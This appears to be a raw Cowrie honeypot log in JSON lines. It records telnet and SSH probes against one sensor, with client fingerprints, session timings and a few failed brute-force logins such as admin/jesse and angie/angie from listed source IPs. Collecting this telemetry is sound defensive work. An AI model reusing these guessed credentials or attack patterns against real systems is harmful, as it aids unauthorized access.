{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":52222,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c0b56728aac","protocol":"telnet","message":"New connection: 23.254.167.244:52222 (159.203.135.109:23) [session: 3c0b56728aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:34.244486Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60380,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fd6aa296ab4","protocol":"telnet","message":"New connection: 209.159.146.115:60380 (159.203.135.109:23) [session: 5fd6aa296ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:34.337376Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35310,"dst_ip":"159.203.135.109","dst_port":23,"session":"02684cc3a8cb","protocol":"telnet","message":"New connection: 209.159.146.115:35310 (159.203.135.109:23) [session: 02684cc3a8cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:35.509554Z"}
{"eventid":"cowrie.session.closed","duration":34.5789999961853,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:36.166985Z","src_ip":"209.159.146.115","session":"c88b5ee77ffa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.046125650405884,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:36.174582Z","src_ip":"209.159.146.115","session":"d779f4e531db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.37446355819702,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:36.654578Z","src_ip":"209.159.146.115","session":"8d0bc09fae72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16114044189453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:36.816051Z","src_ip":"209.159.146.115","session":"1733a66a4be9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49114,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbdf49350fd7","protocol":"telnet","message":"New connection: 209.159.146.115:49114 (159.203.135.109:23) [session: fbdf49350fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:38.067408Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35560,"dst_ip":"159.203.135.109","dst_port":23,"session":"97c63677789c","protocol":"telnet","message":"New connection: 23.254.167.244:35560 (159.203.135.109:23) [session: 97c63677789c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:39.143533Z"}
{"eventid":"cowrie.session.closed","duration":31.245575666427612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:39.645385Z","src_ip":"23.254.167.244","session":"1839dae26fb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36778,"dst_ip":"159.203.135.109","dst_port":23,"session":"c191321259d6","protocol":"telnet","message":"New connection: 23.254.167.244:36778 (159.203.135.109:23) [session: c191321259d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:40.319068Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33652,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d7d35a54ec4","protocol":"telnet","message":"New connection: 209.159.146.115:33652 (159.203.135.109:23) [session: 1d7d35a54ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:40.467208Z"}
{"eventid":"cowrie.session.closed","duration":34.574034452438354,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:41.842493Z","src_ip":"23.254.167.244","session":"3005ec025a35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40520,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6fc1776926a","protocol":"telnet","message":"New connection: 23.254.167.244:40520 (159.203.135.109:23) [session: c6fc1776926a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:43.158485Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":41080,"dst_ip":"159.203.135.109","dst_port":23,"session":"d69345c27408","protocol":"telnet","message":"New connection: 23.254.167.244:41080 (159.203.135.109:23) [session: d69345c27408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:43.554011Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":42288,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba7f72de152a","protocol":"telnet","message":"New connection: 23.254.167.244:42288 (159.203.135.109:23) [session: ba7f72de152a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:44.830728Z"}
{"eventid":"cowrie.session.closed","duration":33.08263611793518,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:45.058211Z","src_ip":"23.254.167.244","session":"47369a72e905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53712,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c289079e31b","protocol":"telnet","message":"New connection: 209.159.146.115:53712 (159.203.135.109:23) [session: 7c289079e31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:45.322083Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53832,"dst_ip":"159.203.135.109","dst_port":23,"session":"955ced797cd6","protocol":"telnet","message":"New connection: 209.159.146.115:53832 (159.203.135.109:23) [session: 955ced797cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:45.369740Z"}
{"eventid":"cowrie.session.closed","duration":33.583261251449585,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:45.702555Z","src_ip":"209.159.146.115","session":"406e545394b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.70379829406738,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:45.992012Z","src_ip":"209.159.146.115","session":"8425bbce1abd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59182,"dst_ip":"159.203.135.109","dst_port":23,"session":"c25b14b67cf9","protocol":"telnet","message":"New connection: 209.159.146.115:59182 (159.203.135.109:23) [session: c25b14b67cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:46.091337Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45348,"dst_ip":"159.203.135.109","dst_port":23,"session":"c51c2bcbf513","protocol":"telnet","message":"New connection: 23.254.167.244:45348 (159.203.135.109:23) [session: c51c2bcbf513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:46.568138Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":45046,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a59d943a618","protocol":"ssh","message":"New connection: 157.66.34.121:45046 (159.203.135.109:22) [session: 7a59d943a618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:46.897827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:46.902977Z","src_ip":"157.66.34.121","session":"7a59d943a618","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:47.135538Z","src_ip":"157.66.34.121","session":"7a59d943a618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46916,"dst_ip":"159.203.135.109","dst_port":23,"session":"f45e2bf30d3c","protocol":"telnet","message":"New connection: 23.254.167.244:46916 (159.203.135.109:23) [session: f45e2bf30d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:47.730283Z"}
{"eventid":"cowrie.session.closed","duration":34.05435013771057,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:48.083427Z","src_ip":"23.254.167.244","session":"bb3d946a9be4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"jesse","message":"login attempt [admin/jesse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:48.095654Z","src_ip":"157.66.34.121","session":"7a59d943a618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:49.334524Z","src_ip":"157.66.34.121","session":"7a59d943a618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.73455262184143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:50.390670Z","src_ip":"209.159.146.115","session":"689ede54d856","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.14821982383728,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:51.590323Z","src_ip":"209.159.146.115","session":"dfef81e62c45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.451642990112305,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:53.086040Z","src_ip":"23.254.167.244","session":"b84624551a10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.81154274940491,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:53.203785Z","src_ip":"209.159.146.115","session":"b4a0a4bfe6f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.530518770217896,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:56.111212Z","src_ip":"209.159.146.115","session":"ae18911c153a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60916,"dst_ip":"159.203.135.109","dst_port":23,"session":"19d328406478","protocol":"telnet","message":"New connection: 209.159.146.115:60916 (159.203.135.109:23) [session: 19d328406478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:57.050780Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34446,"dst_ip":"159.203.135.109","dst_port":23,"session":"b76e63a1ac86","protocol":"telnet","message":"New connection: 209.159.146.115:34446 (159.203.135.109:23) [session: b76e63a1ac86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:57.953400Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":37145,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b955b96d9f","protocol":"ssh","message":"New connection: 154.117.199.5:37145 (10.17.0.5:22) [session: 71b955b96d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:58.257087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:58.492842Z","src_ip":"154.117.199.5","session":"71b955b96d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:58.728207Z","src_ip":"154.117.199.5","session":"71b955b96d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.45071506500244,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:58.789430Z","src_ip":"209.159.146.115","session":"3f106ea99541","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.64938473701477,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:01:59.884057Z","src_ip":"209.159.146.115","session":"c04d481b4ebe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44418,"dst_ip":"159.203.135.109","dst_port":23,"session":"43df334b9078","protocol":"telnet","message":"New connection: 209.159.146.115:44418 (159.203.135.109:23) [session: 43df334b9078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:01.908957Z"}
{"eventid":"cowrie.session.closed","duration":38.38094162940979,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:01.991897Z","src_ip":"209.159.146.115","session":"ac5324f959e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50905227661133,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:02.000376Z","src_ip":"209.159.146.115","session":"b05c7866790b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.80222725868225,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:05.764857Z","src_ip":"23.254.167.244","session":"36dacbd27d54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.801373958587646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:06.045651Z","src_ip":"23.254.167.244","session":"3c0b56728aac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59504,"dst_ip":"159.203.135.109","dst_port":23,"session":"129690e5d0dd","protocol":"telnet","message":"New connection: 209.159.146.115:59504 (159.203.135.109:23) [session: 129690e5d0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:06.295710Z"}
{"eventid":"cowrie.session.closed","duration":32.97721314430237,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:07.314438Z","src_ip":"209.159.146.115","session":"5fd6aa296ab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.70813870429993,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:07.649003Z","src_ip":"209.159.146.115","session":"721e998ddb51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.38942790031433,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:09.655302Z","src_ip":"23.254.167.244","session":"5c4d58113ec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.86709713935852,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:10.609149Z","src_ip":"23.254.167.244","session":"03b356176b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47834,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d677e5f7bb2","protocol":"telnet","message":"New connection: 23.254.167.244:47834 (159.203.135.109:23) [session: 6d677e5f7bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:10.949349Z"}
{"eventid":"cowrie.session.closed","duration":33.70529818534851,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:11.772561Z","src_ip":"209.159.146.115","session":"fbdf49350fd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.409906148910522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:11.876983Z","src_ip":"209.159.146.115","session":"1d7d35a54ec4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.066778898239136,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:12.385731Z","src_ip":"23.254.167.244","session":"c191321259d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54056,"dst_ip":"159.203.135.109","dst_port":23,"session":"969617945a0d","protocol":"telnet","message":"New connection: 209.159.146.115:54056 (159.203.135.109:23) [session: 969617945a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:12.412512Z"}
{"eventid":"cowrie.session.closed","duration":37.88592314720154,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:13.395366Z","src_ip":"209.159.146.115","session":"02684cc3a8cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.08940553665161,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:15.232819Z","src_ip":"23.254.167.244","session":"97c63677789c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0210018157959,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:16.342970Z","src_ip":"209.159.146.115","session":"7c289079e31b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45796,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eac9abf5d00","protocol":"telnet","message":"New connection: 209.159.146.115:45796 (159.203.135.109:23) [session: 7eac9abf5d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:16.796541Z"}
{"eventid":"cowrie.session.closed","duration":33.78662967681885,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:16.945005Z","src_ip":"23.254.167.244","session":"c6fc1776926a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48832,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7537ec15ccd","protocol":"telnet","message":"New connection: 209.159.146.115:48832 (159.203.135.109:23) [session: b7537ec15ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:17.177642Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36184,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a3496e5ebe7","protocol":"ssh","message":"New connection: 159.203.92.129:36184 (159.203.135.109:22) [session: 3a3496e5ebe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:17.849131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:17.854128Z","src_ip":"159.203.92.129","session":"3a3496e5ebe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:17.858691Z","src_ip":"159.203.92.129","session":"3a3496e5ebe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angie","password":"angie","message":"login attempt [angie/angie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:17.869410Z","src_ip":"159.203.92.129","session":"3a3496e5ebe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:18.874922Z","src_ip":"159.203.92.129","session":"3a3496e5ebe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.35973238945007,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:21.729359Z","src_ip":"209.159.146.115","session":"955ced797cd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.46523451805115,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:22.033231Z","src_ip":"23.254.167.244","session":"c51c2bcbf513","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.28307366371155,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:23.113681Z","src_ip":"23.254.167.244","session":"ba7f72de152a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45482,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab6f250963ee","protocol":"telnet","message":"New connection: 209.159.146.115:45482 (159.203.135.109:23) [session: ab6f250963ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:23.419291Z"}
